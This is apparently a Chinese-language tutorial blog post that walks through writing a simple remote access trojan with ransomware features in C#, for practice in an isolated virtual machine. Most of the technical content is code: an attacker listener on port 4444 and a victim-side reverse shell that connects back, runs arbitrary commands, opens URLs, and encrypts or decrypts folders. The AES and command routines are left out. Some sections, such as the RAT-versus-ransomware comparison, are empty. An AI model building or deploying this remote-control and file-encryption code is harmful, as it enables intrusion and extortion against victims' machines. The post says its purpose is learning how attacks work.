在資訊安全領域,「木馬程式(Remote Access Trojan)」與「勒索軟體(Ransomware)」是攻擊者常用的惡意武器。木馬程式透過偷偷控制受害電腦,執行任意指令;勒索軟體則會加密受害者重要資料,逼迫支付贖金解鎖。
本篇文章示範如何用 C# 在 Windows 虛擬機中,實作一個能遠端控制的簡易木馬程序,並結合勒索軟體功能,讓你能親手體驗遠端操控、發動檔案加密到解密的完整攻防流程。重點是學習攻擊原理與防禦思維,務必在隔離的虛擬環境中操作。
TcpListener
監聽指定 port,等待受害端連線csharp
// 攻擊端程式核心
TcpListener listener = new TcpListener(IPAddress.Any, 4444);
listener.Start();
var client = listener.AcceptTcpClient();
var stream = client.GetStream();
while (true)
{
Console.Write("cmd> ");
string cmd = Console.ReadLine();
if (string.IsNullOrEmpty(cmd)) break;
byte[] data = Encoding.UTF8.GetBytes(cmd);
stream.Write(data, 0, data.Length);
byte[] buffer = new byte[4096];
int bytesRead = stream.Read(buffer, 0, buffer.Length);
string response = Encoding.UTF8.GetString(buffer, 0, bytesRead);
Console.WriteLine(response);
}
stream.Close();
client.Close();
listener.Stop();
用 TcpClient
連回攻擊端 IP 與 port
持續監聽攻擊端指令,判斷並執行:
回傳執行結果給攻擊端
csharp
// 受害端程式截取
using System;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
class ReverseShell
{
static void Main()
{
using TcpClient client = new TcpClient("攻擊端IP", 4444);
using NetworkStream stream = client.GetStream();
byte[] buffer = new byte[4096];
while (true)
{
int bytesRead = stream.Read(buffer, 0, buffer.Length);
if (bytesRead == 0) break;
string cmd = Encoding.UTF8.GetString(buffer, 0, bytesRead).Trim();
string output;
if (cmd.StartsWith("open "))
{
string url = cmd.Substring(5);
Process.Start(new ProcessStartInfo { FileName = url, UseShellExecute = true });
output = $"已開啟網頁 {url}";
}
else if (cmd.StartsWith("encrypt "))
{
EncryptFolder(cmd.Substring(8));
output = "資料夾加密完成";
}
else if (cmd.StartsWith("decrypt "))
{
DecryptFolder(cmd.Substring(8));
output = "資料夾解密完成";
}
else
{
output = ExecuteCommand(cmd);
}
byte[] outBytes = Encoding.UTF8.GetBytes(output);
stream.Write(outBytes, 0, outBytes.Length);
}
}
// 以下簡略:ExecuteCommand、EncryptFolder、DecryptFolder 與 AES 加解密等實作...
}
(操作截圖等假日補上!)
open
指令讓受害端開啟指定網頁(例如 TronClass)確認視覺效果encrypt
指令加密受害端特定檔案資料夾,受害端檔案無法打開decrypt
指令,成功恢復檔案正常使用本篇用 C# 打造簡易木馬與勒索軟體模擬器,搭配虛擬機完整演練,幫助你深入理解惡意軟體運作機制與遠端控制/加密流程!
木馬程式(Remote Access Trojan,RAT)和勒索軟體在功能上有明顯的區別:
總結:
現有的專案正是結合功能:用木馬遠端控制受害端,再用勒索軟體加密資料夾檔案模擬真實攻擊流程[2][3][8]。
來源
[1] 開源木馬程式AsyncRAT衍生逾30款分支惡意軟體 - iThome https://www.ithome.com.tw/news/170093
[2] C#实现简单的木马程序(学习木马制作流程) 原创 - CSDN博客 https://blog.csdn.net/qq15577969/article/details/108685714
[3] 木馬病毒是什麼?特徵,類型全解析,7 招自救檢查法學起來! - 巨匠電腦 https://www.pcschool.com.tw/blog/it/what-is-virus
[4] 用c#來寫個木馬程式吧 https://topic.alibabacloud.com/tc/a/use-c--to-write-a-trojan-program_1_31_32327433.html
[5] 用C#实现木马程序转载 - CSDN博客 https://blog.csdn.net/weixin_33725515/article/details/90065751
[6] C# 木马功能的简单实现- 羽铉- 博客园 https://www.cnblogs.com/qiaoke/p/10062673.html
[7] 什麼是特洛伊木馬病毒? - Fortinet https://www.fortinet.com/tw/resources/cyberglossary/trojan-horse-virus
[8] 什麼是遠端存取木馬(RATs)? - TeamT5 https://teamt5.org/tw/posts/what-are-remote-access-trojans-rats/